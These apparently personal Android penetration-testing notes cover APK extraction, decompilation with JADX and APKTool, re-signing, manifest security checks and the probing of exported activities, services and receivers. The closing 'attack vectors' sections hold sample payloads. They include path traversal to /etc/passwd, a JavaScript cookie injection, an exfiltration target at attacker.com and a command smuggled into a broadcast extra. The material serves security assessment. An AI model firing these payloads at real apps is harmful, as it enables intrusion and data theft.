Mobile VAPT Notes (Android)
#
Static Analysis - APK Acquisition & Decompilation
#APK Acquisition - Modern Methods
#Method 1: Pull from Device (Most Reliable)
## List all installed packages:
adb shell pm list packages
# Filter by keyword:
adb shell pm list packages | grep -i <keyword>
adb shell pm list packages | grep -i facebook
# List only third-party apps:
adb shell pm list packages -3
# List with full details:
adb shell pm list packages -f
# Output format: package:/data/app/~~hash/com.example.app-hash/base.apk=com.example.app
# Get specific package path:
adb shell pm path com.example.app
# Output: package:/data/app/~~Abc123/com.example.app-xyz/base.apk
# Pull single APK:
adb pull /data/app/~~Abc123/com.example.app-xyz/base.apk ./app.apk
# For split APKs (Android App Bundles - common in 2025):
adb shell pm path com.example.app
# Output may show multiple files:
# package:/data/app/.../base.apk
# package:/data/app/.../split_config.arm64_v8a.apk
# package:/data/app/.../split_config.en.apk
# package:/data/app/.../split_config.xxhdpi.apk
# Pull all APK components:
PACKAGE="com.example.app"
APK_PATH=$(adb shell pm path $PACKAGE | head -1 | cut -d: -f2)
BASE_DIR=$(dirname $APK_PATH)
# Create output directory:
mkdir -p apks/$PACKAGE
# Pull all APK files:
adb shell ls $BASE_DIR/*.apk | tr -d '\r' | while read apk; do
adb pull $apk apks/$PACKAGE/
done
# Alternative: Use shell script to pull all splits:
adb shell pm path $PACKAGE | cut -d: -f2 | while read APK; do
adb pull $APK
done
# Verify APK integrity:
adb shell pm dump $PACKAGE | grep -A 3 "versionCode"
Method 2: APK Extractor Apps#
# Use APK Extractor apps from device:
# Popular options in 2025:
# - APK Extractor (com.ext.ui)
# - ML Manager (com.javiersantos.mlmanager)
# - App Manager (io.github.muntashirakon.AppManager)
# Install APK Extractor:
adb install APKExtractor.apk
# Launch and extract target app to /sdcard/ExtractedAPKs/
# Then pull:
adb pull /sdcard/ExtractedAPKs/app_name.apk
# Using App Manager (more features):
# Provides backup, split APK handling, and export
Method 3: Google Play Store Download (Testing/Research)
## Modern alternatives for APK download:
# Option A: gplaycli (updated for 2025)
pip3 install gplaycli
# Configure (first time):
gplaycli --config
# Download APK:
gplaycli -d com.example.app
# Download with splits:
gplaycli -d com.example.app --split-apk
# Download specific version:
gplaycli -d com.example.app -v 12345
# Option B: googleplay-api (Python library)
pip3 install googleplay-api
# Python script to download:
cat > download_apk.py << 'EOF'
from googleplay import GooglePlay
import sys
if len(sys.argv) < 2:
print("Usage: python download_apk.py <package_name>")
sys.exit(1)
package = sys.argv[1]
gp = GooglePlay()
gp.login("<EMAIL>", "<PASSWORD>")
apk = gp.download(package)
with open(f"{package}.apk", "wb") as f:
f.write(apk)
print(f"Downloaded {package}.apk")
EOF
python3 download_apk.py com.example.app
# Option C: apkeep (Rust-based tool, fast)
cargo install apkeep
apkeep -a com.example.app .
# Option D: APKCombo (web-based, manual)
# Visit: https://apkcombo.com/
# Search app and download
# OPSEC: Verify APK authenticity
# Check signature:
apksigner verify --print-certs app.apk
# Compare with known good signature hash
Method 4: Backup and Extract
## Create app backup (includes data):
adb backup -f backup.ab -apk com.example.app
# Extract APK from backup:
# Install abe (Android Backup Extractor):
git clone https://github.com/nelenkov/android-backup-extractor.git
cd android-backup-extractor
./gradlew build
# Extract backup:
java -jar build/libs/abe.jar unpack backup.ab backup.tar
tar -xvf backup.tar
# APK located in: apps/com.example.app/
# Modern alternative - use ab (Android Backup):
pip3 install android-backup
android-backup extract backup.ab extracted/
# OPSEC: Backup method preserves app data for analysis
Method 5: ADB Install with Capture
## Install app and capture during installation:
adb install-multiple -r -g *.apk
# Or use Package Manager sessions:
adb shell pm install-create
# Note session ID from output: [SESSION_ID]
adb shell pm install-write [SESSION_ID] base -
adb shell pm install-commit [SESSION_ID]
Decompilation Tools
#JADX
## Download latest JADX (2025 version):
# https://github.com/skylot/jadx/releases
wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
unzip jadx-1.5.0.zip -d jadx
cd jadx
# GUI mode (recommended for analysis):
./bin/jadx-gui app.apk
# Command line decompilation:
./bin/jadx -d output_folder app.apk
# Advanced options for better decompilation:
./bin/jadx \
--deobf \ # Deobfuscate code
--deobf-min 3 \ # Minimum length for deobfuscated names
--deobf-max 64 \ # Maximum length
--show-bad-code \ # Show problematic code
--escape-unicode \ # Escape unicode characters
--respect-bytecode-access-modifiers \ # Respect access modifiers
--no-inline-anonymous \ # Don't inline anonymous classes
--no-replace-consts \ # Keep constant values
-d output_folder \
app.apk
# For split APKs:
./bin/jadx -d output_folder *.apk
# Export as Gradle project:
./bin/jadx --export-gradle -d gradle_project app.apk
# Generate sources as single file:
./bin/jadx --single-class -d single_file.java --single-class-name com.example.MainActivity app.apk
# Performance optimization for large APKs:
./bin/jadx -j 8 -d output_folder app.apk # Use 8 threads
# JADX plugins (2025 features):
# - Script execution for automated analysis
# - Custom renaming schemes
# - Kotlin support improvements
# Search in decompiled code:
grep -r "password" output_folder/
grep -r -i "api.key" output_folder/ | head -20
APKTool (Smali Analysis & Recompilation)
## Install APKTool (latest):
# Method 1: Package manager
brew install apktool # macOS
sudo apt install apktool # Ubuntu/Debian
# Method 2: Manual installation
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
mv apktool_2.9.3.jar apktool.jar
chmod +x apktool apktool.jar
sudo mv apktool apktool.jar /usr/local/bin/
# Verify installation:
apktool --version
# Decompile APK:
apktool d app.apk -o app_decompiled
# Advanced decompilation options:
apktool d app.apk \
-o app_decompiled \
-f \ # Force overwrite
--no-src \ # Don't decompile sources (faster)
--no-res \ # Don't decompile resources
--only-main-classes \ # Skip library classes
-r \ # Don't decode resources
-s # Don't decode sources
# Keep broken resources:
apktool d --keep-broken-res app.apk -o app_decompiled
# For split APKs, decompile separately:
for apk in *.apk; do
apktool d "$apk" -o "decompiled_$(basename $apk .apk)"
done
# Recompile after modifications:
apktool b app_decompiled -o app_modified.apk
# Build with AAPT2 (modern):
apktool b app_decompiled -o app_modified.apk --use-aapt2
# Debug build:
apktool b app_decompiled -o app_modified.apk -d
# Clean build:
apktool empty-framework-dir --force
apktool b -f app_decompiled -o app_modified.apk
# OPSEC: APKTool ideal for patching and runtime modification
dex2jar + JD-GUI (Alternative Workflow)
## Download dex2jar:
wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
unzip dex-tools-v2.4.zip
cd dex-tools-v2.4
# Convert APK to JAR:
./d2j-dex2jar.sh app.apk
# Output: app-dex2jar.jar
# Handle errors with force mode:
./d2j-dex2jar.sh app.apk --force
# For split APKs:
for apk in *.apk; do
./d2j-dex2jar.sh "$apk"
done
# Download JD-GUI:
wget https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar
# Open JAR with JD-GUI:
java -jar jd-gui-1.6.6.jar app-dex2jar.jar
# Command line decompilation with jd-cli:
git clone https://github.com/intoolswetrust/jd-cli.git
cd jd-cli
mvn clean install
java -jar target/jd-cli.jar app-dex2jar.jar -od output/
# OPSEC: dex2jar good for obfuscated apps where JADX fails
Bytecode Viewer
## Download Bytecode Viewer:
wget https://github.com/Konloch/bytecode-viewer/releases/download/v2.12/Bytecode-Viewer-2.12.jar
# Launch GUI:
java -jar Bytecode-Viewer-2.12.jar
# Features in 2025:
# - Multiple decompilers (JADX, Procyon, CFR, FernFlower)
# - APK/DEX/JAR/Class file support
# - Built-in hex editor
# - Plugin system
# - Search across all decompilers
# Command line usage:
java -jar Bytecode-Viewer-2.12.jar -i app.apk -o output/ -decompiler JADX
# OPSEC: Compare decompilers for best results on obfuscated code
CFR (Modern Java Decompiler)
## Download CFR:
wget https://github.com/leibnitz27/cfr/releases/download/0.152/cfr-0.152.jar
# Decompile JAR (from dex2jar):
java -jar cfr-0.152.jar app-dex2jar.jar --outputdir output/
# Advanced options:
java -jar cfr-0.152.jar app-dex2jar.jar \
--outputdir output/ \
--caseinsensitivefs true \
--silent true \
--recover true \ # Recover from errors
--eclipse false \ # Don't use Eclipse style
--override true # Overwrite existing files
# OPSEC: CFR excellent for modern Java/Kotlin features
Ghidra (Native Library Analysis)
## Download Ghidra (NSA tool, actively maintained):
# https://ghidra-sre.org/
# Current version: 11.2
# Extract native libraries from APK:
unzip app.apk -d app_extracted
ls app_extracted/lib/
# Common architectures:
# arm64-v8a/ - 64-bit ARM (most modern devices)
# armeabi-v7a/ - 32-bit ARM
# x86_64/ - 64-bit x86 (emulators)
# x86/ - 32-bit x86
# Analyze with Ghidra:
# 1. Create new project
# 2. Import native library (.so file)
# 3. Analyze with default analyzers
# 4. Review imports, exports, strings
# Headless analysis:
analyzeHeadless /path/to/project ProjectName \
-import app_extracted/lib/arm64-v8a/libnative.so \
-postScript DecompileAll.java
# OPSEC: Native libraries often contain crypto/security implementations
Radare2/Rizin (Command-Line RE)
## Install radare2:
git clone https://github.com/radareorg/radare2
cd radare2
sys/install.sh
# Or use package manager:
sudo apt install radare2
# Analyze APK:
r2 app.apk
# Inside r2:
aaa # Analyze all
afl # List functions
pdf @main # Disassemble main
/ password # Search for string
iz # List strings
ii # List imports
ie # List exports
# Extract DEX:
r2 -e bin.classes=0 app.apk
# Extract specific class:
r2 -c 'e bin.classes=0; afx' app.apk
# Scripting with r2:
r2 -q -c 'aaa; afl' app.apk > functions.txt
# OPSEC: Radare2 powerful for scriptable binary analysis
Signing Recompiled APKs
#Method 1: uber-apk-signer
## Download uber-apk-signer:
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar
# Sign APK (auto-handles alignment and V1/V2/V3/V4 signing):
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk
# Output: app_modified-aligned-debugSigned.apk
# Sign with custom keystore:
java -jar uber-apk-signer-1.3.0.jar \
--apks app_modified.apk \
--ks my-keystore.jks \
--ksAlias my-alias \
--ksPass mypassword \
--ksKeyPass mykeypassword
# Sign multiple APKs:
java -jar uber-apk-signer-1.3.0.jar --apks *.apk
# Advanced options:
java -jar uber-apk-signer-1.3.0.jar \
--apks app_modified.apk \
--allowResign \ # Resign already signed APKs
--overwrite \ # Overwrite existing files
--skipZipCrcCheck \ # Skip CRC check
-o output/ # Output directory
# Verify signature:
java -jar uber-apk-signer-1.3.0.jar --verify app_modified-aligned-debugSigned.apk
Method 2: apksigner
## apksigner included in Android SDK build-tools
# Usually located: $ANDROID_HOME/build-tools/<version>/apksigner
# Find apksigner:
find $ANDROID_HOME -name apksigner
# Or use from SDK directly:
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0
# Step 1: Align APK (required for optimal performance):
zipalign -v -p 4 app_modified.apk app_aligned.apk
# Step 2: Sign APK with V1 + V2 + V3 + V4:
apksigner sign \
--ks my-release-key.jks \
--ks-key-alias my-alias \
--ks-pass pass:mypassword \
--key-pass pass:mykeypassword \
--v1-signing-enabled true \
--v2-signing-enabled true \
--v3-signing-enabled true \
--v4-signing-enabled true \
--out app_signed.apk \
app_aligned.apk
# Sign with debug keystore (testing):
apksigner sign \
--ks ~/.android/debug.keystore \
--ks-key-alias androiddebugkey \
--ks-pass pass:android \
--key-pass pass:android \
--out app_signed.apk \
app_aligned.apk
# Verify signature:
apksigner verify -v app_signed.apk
# Check signature schemes:
apksigner verify --print-certs app_signed.apk
# OPSEC: Use debug keystore for testing, production keystore for release
Method 3: Manual Signing
## Create release keystore (one-time):
keytool -genkey -v \
-keystore my-release-key.jks \
-keyalg RSA \
-keysize 4096 \
-validity 10000 \
-alias my-key-alias \
-storepass mypassword \
-keypass mykeypassword \
-dname "CN=Test, OU=Test, O=Test, L=Test, S=Test, C=US"
# Align APK:
zipalign -v 4 app_modified.apk app_aligned.apk
# Sign with jarsigner (V1 only - legacy):
jarsigner -verbose \
-sigalg SHA256withRSA \
-digestalg SHA-256 \
-keystore my-release-key.jks \
-storepass mypassword \
-keypass mykeypassword \
app_aligned.apk \
my-key-alias
# Verify:
jarsigner -verify -verbose -certs app_aligned.apk
# IMPORTANT: V1-only signing deprecated, use apksigner for modern apps
Method 4: Automated Signing Script
##!/bin/bash
# sign-apk.sh - Automated APK signing
APK="$1"
KEYSTORE="${2:-~/.android/debug.keystore}"
ALIAS="${3:-androiddebugkey}"
STOREPASS="${4:-android}"
KEYPASS="${5:-android}"
if [ -z "$APK" ]; then
echo "Usage: $0 <apk_file> [keystore] [alias] [storepass] [keypass]"
exit 1
fi
BASENAME=$(basename "$APK" .apk)
ALIGNED="${BASENAME}-aligned.apk"
SIGNED="${BASENAME}-signed.apk"
echo "[*] Aligning APK..."
zipalign -v -p 4 "$APK" "$ALIGNED"
echo "[*] Signing APK..."
apksigner sign \
--ks "$KEYSTORE" \
--ks-key-alias "$ALIAS" \
--ks-pass pass:"$STOREPASS" \
--key-pass pass:"$KEYPASS" \
--out "$SIGNED" \
"$ALIGNED"
echo "[*] Verifying signature..."
apksigner verify -v "$SIGNED"
if [ $? -eq 0 ]; then
echo "[+] APK signed successfully: $SIGNED"
rm "$ALIGNED" # Cleanup
else
echo "[!] Signature verification failed"
exit 1
fi
# Make executable and use:
chmod +x sign-apk.sh
./sign-apk.sh app_modified.apk
Signature Analysis:
## Extract certificate from APK:
unzip -p app.apk META-INF/*.RSA | keytool -printcert
# Compare signatures of two APKs:
diff <(apksigner verify --print-certs app1.apk) \
<(apksigner verify --print-certs app2.apk)
# Get signature hash (for pinning):
keytool -list -v -keystore my-release-key.jks -alias my-key-alias | grep SHA256
# Extract public key:
keytool -exportcert -alias my-key-alias \
-keystore my-release-key.jks \
-rfc -file certificate.pem
# OPSEC: Check if app validates signature at runtime
grep -r "PackageManager.GET_SIGNATURES" app_decompiled/
grep -r "getPackageInfo" app_decompiled/
AndroidManifest.xml Analysis & Component Testing
#Extract and Analyze Manifest
#Extract Manifest from APK:#
# Method 1: Using aapt (Android Asset Packaging Tool)
aapt dump xmltree app.apk AndroidManifest.xml
# Method 2: Using aapt2 (modern, Android SDK 26+)
aapt2 dump xmltree app.apk --file AndroidManifest.xml
# Method 3: Using APKTool (most readable)
apktool d app.apk -o app_decompiled
cat app_decompiled/AndroidManifest.xml
# Method 4: Using apkanalyzer (Android Studio tool)
apkanalyzer manifest print app.apk
# Method 5: Using androguard (Python)
pip3 install androguard
androguard axml app.apk > AndroidManifest.xml
# Extract with formatting:
aapt2 dump xmltree app.apk --file AndroidManifest.xml | less
# Extract to file:
apkanalyzer manifest print app.apk > AndroidManifest.xml
# Quick overview:
aapt dump badging app.apk | head -30
Extract Specific Manifest Information:#
# Package information:
aapt dump badging app.apk | grep -E "package|sdkVersion|targetSdkVersion"
# Output: package: name='com.example.app' versionCode='123' versionName='1.2.3'
# sdkVersion:'21' targetSdkVersion:'34'
# Permissions:
aapt dump permissions app.apk
# All permissions with details:
aapt dump badging app.apk | grep uses-permission
# Activities:
aapt dump badging app.apk | grep launchable-activity
# All components:
aapt dump badging app.apk | grep -E "activity|service|receiver|provider"
# Application flags:
aapt dump badging app.apk | grep application:
# Deep links and URL schemes:
aapt dump xmltree app.apk --file AndroidManifest.xml | grep -A 5 "android:scheme"
# Network security config:
aapt dump xmltree app.apk --file AndroidManifest.xml | grep networkSecurityConfig
# OPSEC: Automate manifest extraction for bulk analysis
for apk in *.apk; do
echo "=== $apk ===" >> manifest_analysis.txt
aapt dump badging "$apk" >> manifest_analysis.txt
echo "" >> manifest_analysis.txt
done
Critical Security Analysis Points
#1. Dangerous Application Settings:
## Check for debuggable flag (CRITICAL vulnerability):
aapt dump badging app.apk | grep "application-debuggable"
# Or from decompiled manifest:
grep -n "android:debuggable" app_decompiled/AndroidManifest.xml
# Expected in production: No output or "android:debuggable='false'"
# CRITICAL if: "android:debuggable='true'"
# Check for backup enabled (HIGH risk for data exposure):
aapt dump xmltree app.apk --file AndroidManifest.xml | grep -A 2 "allowBackup"
# Or:
grep -n "android:allowBackup" app_decompiled/AndroidManifest.xml
# RISK: android:allowBackup="true" allows adb backup of app data
# Secure: android:allowBackup="false" or use fullBackupContent
# Check for cleartext traffic (MEDIUM risk):
grep -n "android:usesCleartextTraffic" app_decompiled/AndroidManifest.xml
# Modern apps (targetSdk 28+) should have this false
# If true, app allows HTTP connections
# Check Network Security Config:
grep -n "android:networkSecurityConfig" app_decompiled/AndroidManifest.xml
# Example: android:networkSecurityConfig="@xml/network_security_config"
# Analyze network security config:
cat app_decompiled/res/xml/network_security_config.xml
# RISK INDICATORS:
# - <certificates src="user" /> (trusts user certificates)
# - cleartextTrafficPermitted="true" (allows HTTP)
# - Missing certificate pinning
# Check for exported app components:
grep -n "android:exported" app_decompiled/AndroidManifest.xml | grep "true"
# Android 12+ (API 31+) requires explicit exported declaration
# Check if sensitive components are exported
# Check for custom permissions:
grep -n "android:protectionLevel" app_decompiled/AndroidManifest.xml
# RISK: signature|privileged, dangerous, normal
# Check for shared user ID (legacy, security risk):
grep -n "android:sharedUserId" app_decompiled/AndroidManifest.xml
# RISK: Shared UID allows data access between apps
# Comprehensive security check script:
cat > check_manifest_security.sh << 'EOF'
#!/bin/bash
APK="$1"
echo "=== Manifest Security Analysis for $APK ==="
echo -e "\n[*] Checking debuggable flag..."
if aapt dump badging "$APK" | grep -q "application-debuggable"; then
echo "[!] CRITICAL: App is debuggable"
else
echo "[+] OK: App is not debuggable"
fi
echo -e "\n[*] Checking backup settings..."
apktool d -f "$APK" -o temp_apk_analysis > /dev/null 2>&1
if grep -q 'android:allowBackup="true"' temp_apk_analysis/AndroidManifest.xml; then
echo "[!] HIGH: Backup is enabled"
else
echo "[+] OK: Backup is disabled"
fi
echo -e "\n[*] Checking cleartext traffic..."
if grep -q 'android:usesCleartextTraffic="true"' temp_apk_analysis/AndroidManifest.xml; then
echo "[!] MEDIUM: Cleartext traffic allowed"
else
echo "[+] OK: Cleartext traffic not explicitly allowed"
fi
echo -e "\n[*] Checking exported components..."
EXPORTED_COUNT=$(grep -c 'android:exported="true"' temp_apk_analysis/AndroidManifest.xml)
echo "[*] Found $EXPORTED_COUNT exported components"
grep -B 5 'android:exported="true"' temp_apk_analysis/AndroidManifest.xml | grep -E "activity|service|receiver|provider"
rm -rf temp_apk_analysis
echo -e "\n=== Analysis Complete ==="
EOF
chmod +x check_manifest_security.sh
./check_manifest_security.sh app.apk
2. Exported Components Analysis:
## Find all exported components:
grep -B 3 'android:exported="true"' app_decompiled/AndroidManifest.xml
# Find components with intent-filters (implicitly exported on Android <12):
grep -B 5 -A 10 '<intent-filter>' app_decompiled/AndroidManifest.xml
# On Android 12+ (API 31+), components with intent-filters MUST explicitly declare exported
# Check for missing exported declarations:
grep -B 5 '<intent-filter>' app_decompiled/AndroidManifest.xml | grep -v "android:exported"
# Extract exported activities:
grep -E '<activity' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'
# Extract exported services:
grep -E '<service' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'
# Extract exported receivers:
grep -E '<receiver' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'
# Extract exported providers:
grep -E '<provider' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'
# Parse component names with Python:
cat > extract_components.py << 'EOF'
import sys
import xml.etree.ElementTree as ET
def extract_components(manifest_path):
tree = ET.parse(manifest_path)
root = tree.getroot()
ns = {'android': 'http://schemas.android.com/apk/res/android'}
components = {
'activities': [],
'services': [],
'receivers': [],
'providers': []
}
app = root.find('application')
# Find exported activities
for activity in app.findall('activity'):
exported = activity.get('{http://schemas.android.com/apk/res/android}exported')
name = activity.get('{http://schemas.android.com/apk/res/android}name')
if exported == 'true':
components['activities'].append(name)
# Find exported services
for service in app.findall('service'):
exported = service.get('{http://schemas.android.com/apk/res/android}exported')
name = service.get('{http://schemas.android.com/apk/res/android}name')
if exported == 'true':
components['services'].append(name)
# Find exported receivers
for receiver in app.findall('receiver'):
exported = receiver.get('{http://schemas.android.com/apk/res/android}exported')
name = receiver.get('{http://schemas.android.com/apk/res/android}name')
if exported == 'true':
components['receivers'].append(name)
# Find exported providers
for provider in app.findall('provider'):
exported = provider.get('{http://schemas.android.com/apk/res/android}exported')
name = provider.get('{http://schemas.android.com/apk/res/android}name')
if exported == 'true':
components['providers'].append(name)
return components
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python extract_components.py AndroidManifest.xml")
sys.exit(1)
components = extract_components(sys.argv[1])
print("\n=== Exported Components ===")
for comp_type, comp_list in components.items():
print(f"\n{comp_type.upper()}:")
for comp in comp_list:
print(f" - {comp}")
EOF
python3 extract_components.py app_decompiled/AndroidManifest.xml
3. Permissions Analysis:
## List all permissions:
aapt dump permissions app.apk
# Dangerous permissions (runtime permissions on Android 6+):
DANGEROUS_PERMS=(
"READ_CALENDAR" "WRITE_CALENDAR"
"CAMERA"
"READ_CONTACTS" "WRITE_CONTACTS" "GET_ACCOUNTS"
"ACCESS_FINE_LOCATION" "ACCESS_COARSE_LOCATION" "ACCESS_BACKGROUND_LOCATION"
"RECORD_AUDIO"
"READ_PHONE_STATE" "READ_PHONE_NUMBERS" "CALL_PHONE"
"READ_CALL_LOG" "WRITE_CALL_LOG" "ADD_VOICEMAIL"
"USE_SIP" "PROCESS_OUTGOING_CALLS" "ANSWER_PHONE_CALLS"
"BODY_SENSORS" "BODY_SENSORS_BACKGROUND"
"SEND_SMS" "RECEIVE_SMS" "READ_SMS" "RECEIVE_WAP_PUSH" "RECEIVE_MMS"
"READ_EXTERNAL_STORAGE" "WRITE_EXTERNAL_STORAGE"
"ACCESS_MEDIA_LOCATION" "READ_MEDIA_IMAGES" "READ_MEDIA_VIDEO" "READ_MEDIA_AUDIO"
"BLUETOOTH_SCAN" "BLUETOOTH_ADVERTISE" "BLUETOOTH_CONNECT"
"NEARBY_WIFI_DEVICES" "POST_NOTIFICATIONS"
)
# Check for dangerous permissions:
echo "=== Dangerous Permissions Found ==="
for perm in "${DANGEROUS_PERMS[@]}"; do
if grep -q "android.permission.$perm" app_decompiled/AndroidManifest.xml; then
echo "[!] $perm"
fi
done
# Check for specific high-risk permissions:
grep -E "READ_EXTERNAL_STORAGE|WRITE_EXTERNAL_STORAGE|MANAGE_EXTERNAL_STORAGE" \
app_decompiled/AndroidManifest.xml
# Android 11+ storage permissions:
grep "MANAGE_EXTERNAL_STORAGE" app_decompiled/AndroidManifest.xml
# RISK: Full filesystem access
# Check for SMS permissions:
grep -E "SEND_SMS|READ_SMS|RECEIVE_SMS" app_decompiled/AndroidManifest.xml
# Check for location permissions:
grep -E "ACCESS_FINE_LOCATION|ACCESS_COARSE_LOCATION|ACCESS_BACKGROUND_LOCATION" \
app_decompiled/AndroidManifest.xml
# Check for custom permissions:
grep '<permission android:name' app_decompiled/AndroidManifest.xml
# Analyze custom permission protection levels:
grep -A 3 '<permission android:name' app_decompiled/AndroidManifest.xml | \
grep protectionLevel
# Permission analysis script:
cat > analyze_permissions.py << 'EOF'
import sys
import xml.etree.ElementTree as ET
def analyze_permissions(manifest_path):
tree = ET.parse(manifest_path)
root = tree.getroot()
used_perms = []
defined_perms = []
# Find used permissions
for perm in root.findall('uses-permission'):
name = perm.get('{http://schemas.android.com/apk/res/android}name')
if name:
used_perms.append(name)
# Find defined permissions
for perm in root.findall('permission'):
name = perm.get('{http://schemas.android.com/apk/res/android}name')
protection = perm.get('{http://schemas.android.com/apk/res/android}protectionLevel', 'normal')
if name:
defined_perms.append((name, protection))
return used_perms, defined_perms
if __name__ == '__main__':
used, defined = analyze_permissions(sys.argv[1])
print("\n=== Used Permissions ===")
for perm in used:
print(f" - {perm}")
print("\n=== Defined Permissions ===")
for name, level in defined:
print(f" - {name} (Protection: {level})")
EOF
python3 analyze_permissions.py app_decompiled/AndroidManifest.xml
4. URL Schemes and Deep Links:
## Find all deep link schemes:
grep -A 10 -B 5 'android:scheme' app_decompiled/AndroidManifest.xml
# Extract scheme values:
grep 'android:scheme' app_decompiled/AndroidManifest.xml | \
sed 's/.*android:scheme="\([^"]*\)".*/\1/' | sort -u
# Find App Links (Android 6+):
grep -A 10 'android:autoVerify="true"' app_decompiled/AndroidManifest.xml
# Extract all data elements for deep links:
grep -B 2 -A 5 '<data' app_decompiled/AndroidManifest.xml
# Comprehensive deep link extraction:
cat > extract_deeplinks.py << 'EOF'
import sys
import xml.etree.ElementTree as ET
def extract_deeplinks(manifest_path):
tree = ET.parse(manifest_path)
root = tree.getroot()
ns = {'android': 'http://schemas.android.com/apk/res/android'}
deeplinks = []
app = root.find('application')
for activity in app.findall('.//activity'):
activity_name = activity.get('{http://schemas.android.com/apk/res/android}name')
for intent_filter in activity.findall('intent-filter'):
# Check if it's a VIEW intent (deep link)
actions = [a.get('{http://schemas.android.com/apk/res/android}name')
for a in intent_filter.findall('action')]
if 'android.intent.action.VIEW' in actions:
for data in intent_filter.findall('data'):
scheme = data.get('{http://schemas.android.com/apk/res/android}scheme')
host = data.get('{http://schemas.android.com/apk/res/android}host')
path = data.get('{http://schemas.android.com/apk/res/android}path', '')
pathPrefix = data.get('{http://schemas.android.com/apk/res/android}pathPrefix', '')
pathPattern = data.get('{http://schemas.android.com/apk/res/android}pathPattern', '')
if scheme:
deeplink = {
'activity': activity_name,
'scheme': scheme,
'host': host or '*',
'path': path or pathPrefix or pathPattern or '/*'
}
deeplinks.append(deeplink)
return deeplinks
if __name__ == '__main__':
deeplinks = extract_deeplinks(sys.argv[1])
print("\n=== Deep Links Found ===")
for dl in deeplinks:
url = f"{dl['scheme']}://{dl['host']}{dl['path']}"
print(f"\n URL: {url}")
print(f" Activity: {dl['activity']}")
EOF
python3 extract_deeplinks.py app_decompiled/AndroidManifest.xml
Testing Exported Components
#Testing Exported Activities:
## Get package name:
PACKAGE=$(aapt dump badging app.apk | grep package: | sed "s/.*name='\([^']*\)'.*/\1/")
# List exported activities:
grep -B 3 'android:exported="true"' app_decompiled/AndroidManifest.xml | \
grep '<activity' | sed 's/.*android:name="\([^"]*\)".*/\1/'
# Basic activity launch:
adb shell am start -n $PACKAGE/.MainActivity
adb shell am start -n $PACKAGE/.SecretActivity
# Launch with extras (string):
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "https://example.com"
# Launch with extras (integer):
adb shell am start -n $PACKAGE/.ProfileActivity --ei "user_id" 123
# Launch with extras (boolean):
adb shell am start -n $PACKAGE/.SettingsActivity --ez "debug_mode" true
# Launch with extras (long):
adb shell am start -n $PACKAGE/.DataActivity --el "timestamp" 1704067200000
# Launch with multiple extras:
adb shell am start -n $PACKAGE/.PaymentActivity \
--es "merchant" "Store123" \
--ei "amount" 1000 \
--es "currency" "USD"
# Launch with URI data:
adb shell am start -n $PACKAGE/.BrowserActivity -d "https://evil.com"
# ATTACK VECTORS:
# 1. Path traversal in file loading:
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "file:///etc/passwd"
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "file:///data/data/$PACKAGE/databases/"
# 2. JavaScript injection in WebView:
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "javascript:alert(document.cookie)"
# 3. Privilege escalation:
adb shell am start -n $PACKAGE/.AdminActivity --ez "is_admin" true
# 4. Data manipulation:
adb shell am start -n $PACKAGE/.TransferActivity \
--es "from_account" "victim123" \
--es "to_account" "attacker456" \
--ei "amount" 999999
# Monitor activity launches:
adb shell am monitor
# Or watch logcat:
adb logcat | grep "START.*$PACKAGE"
# OPSEC: Test systematically
cat > test_activities.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
MANIFEST="$2"
echo "[*] Testing exported activities for $PACKAGE"
# Extract activity names
ACTIVITIES=$(grep -B 3 'android:exported="true"' "$MANIFEST" | \
grep '<activity' | sed 's/.*android:name="\([^"]*\)".*/\1/')
for activity in $ACTIVITIES; do
echo "[*] Testing: $activity"
# Basic launch
adb shell am start -n "$PACKAGE/$activity" 2>&1 | grep -E "Error|Exception|Success"
# Test with common payloads
adb shell am start -n "$PACKAGE/$activity" --es "url" "file:///etc/passwd" 2>&1 | \
grep -E "Error|Exception"
sleep 1
done
EOF
chmod +x test_activities.sh
./test_activities.sh com.example.app app_decompiled/AndroidManifest.xml
Testing Exported Services:
## Start exported service:
adb shell am startservice -n $PACKAGE/.BackupService
# Start service with extras:
adb shell am startservice -n $PACKAGE/.DataSyncService --es "sync_type" "full"
# Start foreground service (Android 8+):
adb shell am start-foreground-service -n $PACKAGE/.UploadService
# Stop service:
adb shell am stopservice -n $PACKAGE/.BackupService
# ATTACK VECTORS:
# 1. Trigger unauthorized operations:
adb shell am startservice -n $PACKAGE/.AdminService --es "command" "grant_admin"
# 2. Data exfiltration:
adb shell am startservice -n $PACKAGE/.ExportService \
--es "destination" "http://attacker.com/exfil" \
--es "data_type" "all"
# 3. Resource exhaustion:
for i in {1..100}; do
adb shell am startservice -n $PACKAGE/.HeavyService &
done
# Monitor service status:
adb shell dumpsys activity services $PACKAGE
# Check running services:
adb shell ps -A | grep $PACKAGE
adb shell dumpsys activity services | grep -A 10 $PACKAGE
Testing Broadcast Receivers:
## Send broadcast to receiver:
adb shell am broadcast -a com.example.app.ACTION_UPDATE
# Send broadcast with extras:
adb shell am broadcast -a com.example.app.ACTION_CONFIG \
--es "config_key" "debug_mode" \
--es "config_value" "true"
# Send ordered broadcast:
adb shell am broadcast -a com.example.app.ACTION_NOTIFY --ordered
# Send broadcast to specific component:
adb shell am broadcast -a com.example.app.ACTION_SYNC \
-n $PACKAGE/.SyncReceiver
# ATTACK VECTORS:
# 1. Command injection in broadcast data:
adb shell am broadcast -a com.example.app.ACTION_BACKUP \
--es "path" "/data/data/$PACKAGE/; cat /etc/passwd > /sdcard/pwned.txt"
# 2. Privilege escalation:
adb shell am broadcast -a com.example.app.ADMIN_ACTION \
--ez "is_admin" true \
--ei "user_id" 1
